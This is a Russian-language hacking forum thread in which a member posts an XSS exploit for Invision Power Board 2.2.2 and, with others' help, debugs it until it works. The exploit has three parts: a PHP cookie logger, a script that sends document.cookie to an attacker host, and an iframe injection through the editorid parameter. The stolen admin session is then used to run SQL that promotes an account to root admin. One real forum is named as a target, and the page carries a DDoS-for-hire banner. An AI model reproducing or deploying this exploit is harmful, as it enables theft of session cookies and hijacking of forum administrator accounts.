Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


помогите с xss ipb2.2.2


  • Закрытая тема Тема закрыта
Сообщений в теме: 9

#1
4yB@K

4yB@K

    Бит

  • Members
  • 10 сообщений
Помогите найти ошибку в xss сплойте для ipb222.
На других подобных форумах я не получил нормального ответа. Надеюсь на вашу помощь.

Вот как выглядит сам сплойт
 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
#  
#   Invision Power Board 2.2.2 Cross Site Scripting vulnerability  
#  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
#   Vendor site: http://www.invisionboard.com/  
#   Vulnerability found by Iron (ironwarez.info)  
#  
#   Greets to all **** Security Group members	  
#  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
#   The vulnerability:  
#   Open up any php file in /jscripts/folder_rte_files  
#	See:  

	var editor_id		 = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?>  
	  
#  
#   $_REQUEST['editorid'] isn't sanitized in any way, so allows  
#   other uses to execute their own code.  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
#   PoC (Log cookies & run SQL query)  
#  
#   Requirements: server supporting PHP, user account on  
#   target forum, database prefix needs to be known.  
#  
#   Create a file called name.php on your webserver and put this code in it:  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  

<?php  
$target = "http://www.l2.rednet.su/forum"; #Target forum without trailing slash  
$prefix = "ibf_"; #Database prefix, default: si_  
$member = 22; #Member id to promote  
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin  

$ip = $_SERVER['REMOTE_ADDR'];  
$referer = $_SERVER['HTTP_REFERER'];  
$agent = $_SERVER['HTTP_USER_AGENT'];  

$data = $_GET['c'];  
$time = date("Y-m-d G:i:s A");  
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:"
.$data."\n\n";  

$file = fopen('log.txt' , 'a');  
fwrite($file,$text);  
fclose($file);  
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))  
{  
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+
'.$prefix.'members+SET+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'
.$member.'%27&st="></>';  
}  
?>  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
#	Also create a file in the same directory named "log.txt" and chmod it 777  
#  
#	Now, create a file called script.js on your webserver, put this code in it:  
#  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  

document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;  

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  
#  
#	And, last but not least, create a file that combines those two;)  
#	Name it blah.html and put this code in it:  
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #  

<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></  
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>

Создаю я эти файлы:
name.php
<?php   
$target = "http://site/forum"; #Target forum without trailing slash   
$prefix = "ibf_"; #Database prefix, default: si_   
$member = 22; #Member id to promote   
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin   

$ip = $_SERVER['REMOTE_ADDR'];   
$referer = $_SERVER['HTTP_REFERER'];   
$agent = $_SERVER['HTTP_USER_AGENT'];   

$data = $_GET['c'];   
$time = date("Y-m-d G:i:s A");   
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";   

$file = fopen('log.txt' , 'a');   
fwrite($file,$text);   
fclose($file);   
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))   
{   
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+'.$prefix.
'members+SET+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'.$member.'%27&st="></>';   
}   
?>

script.js
document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;

blah.html
<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></  
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>

+фаил для лога log.txt с правами 777

На локалхосте пробовал - не работает, помогите плиз

#2
ENFIX

ENFIX

    `N370KR47`

  • Members
  • PipPip
  • 152 сообщений
твой name.php - это скорее не сплоит, а сиффер кук.
В общем он получает куки, ип, реферер, и отправляет запрос через sql inj. и делает тебя админом.
а сама xss хранится в
]]>http://www.targetfor...e.php?editorid=]]>

параметре editorid при чем пассивная.
в общем ты создаешь свой blah.html где нить на веб сервере, настраиваешь, и шлешь админа на эту html страницу. Если у админа стоит галочка "запоминать вас" (или как то так) и форум уязвим, то на скрипт name.php придут куки админа. после чего выполнится sql запрос в скрипт ...$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+
'.$prefix.'members+SET+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'
.$member.'%27&st="></>' и добавляет тебя в группу админов

#3
4yB@K

4yB@K

    Бит

  • Members
  • 10 сообщений
Насчет самой работы сплойта я разобрался
Но пробовал на локалхосте в логе - ничего не появилось и sql не выполнилась
форум уязвим алерт выскакивает
И что значит стоит галочка "запоминать вас"?

#4
ENFIX

ENFIX

    `N370KR47`

  • Members
  • PipPip
  • 152 сообщений

Цитата

Но пробовал на локалхосте в логе - ничего не появилось и sql не выполнилась
Мб двиг залатанный, или что то ты не так делаешь.

Цитата

И что значит стоит галочка "запоминать вас"?
Ну чтобы при повторном посещении страницы, не вводить логин и пароль заного.

#5
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Код перепроверь, у меня часто бывало, что где-нить лишная/недостающая ковычка присутствовала...

#6
4yB@K

4yB@K

    Бит

  • Members
  • 10 сообщений

Цитата

Мб двиг залатанный, или что то ты не так делаешь.
Да нет, пасивная хсс работает
_http://localhost/ipb/jscripts/folder_rte_files/module_image.php?editorid=";alert(document.cookie);var i="

И когда я перешел по этой ссылке  права поднялись до админа
/admin/index.php?adsess=сесия&act=sql&code=runsql&section=admin&query=UPDATE+ibf_members+SET+
mgroup+%3D+%274%27+WHERE+id+%3D+%27пользователь%27&st=

/jscripts/folder_rte_files/module_table.php?editorid=//--></script><script SRC=></SCRIPT>//--></script><script SRC=http://test1.ru/script.js></SCRIPT>

ошибка в name.php

пробовал отправить куки на сниффер - все получилось

Можно еще вопрос
откуда появилась эта переменная $stuff?

#7
ENFIX

ENFIX

    `N370KR47`

  • Members
  • PipPip
  • 152 сообщений

Цитата

откуда появилась эта переменная $stuff?
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))

#8
4yB@K

4yB@K

    Бит

  • Members
  • 10 сообщений
Ошибка кроестя в
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+'.$prefix.
'members+SET+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'.$member.'%27&st="></>';
Я пробовал заменить ее на
echo "admin sesion : {$stuff[1]} \n";
сесия вывелась на экран
Как в таком случае можно осуществить редирект на
'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+'.$prefix.
'members+SET+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'.$member.'%27&st=

#9
4yB@K

4yB@K

    Бит

  • Members
  • 10 сообщений
Млин, как же я долго тупил-то!
Ведь вся ошибка кроется в <img width=0 height=0 src="'.$target.'/admin
За место img надо вставить iframe и все заработает
УРА!
Всем ответившим спасибо :)

#10
FreeCat

FreeCat

    Invisible Admin

  • root
  • PipPipPipPipPip
  • 1236 сообщений
4yB@K
Ну и хорошо).


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных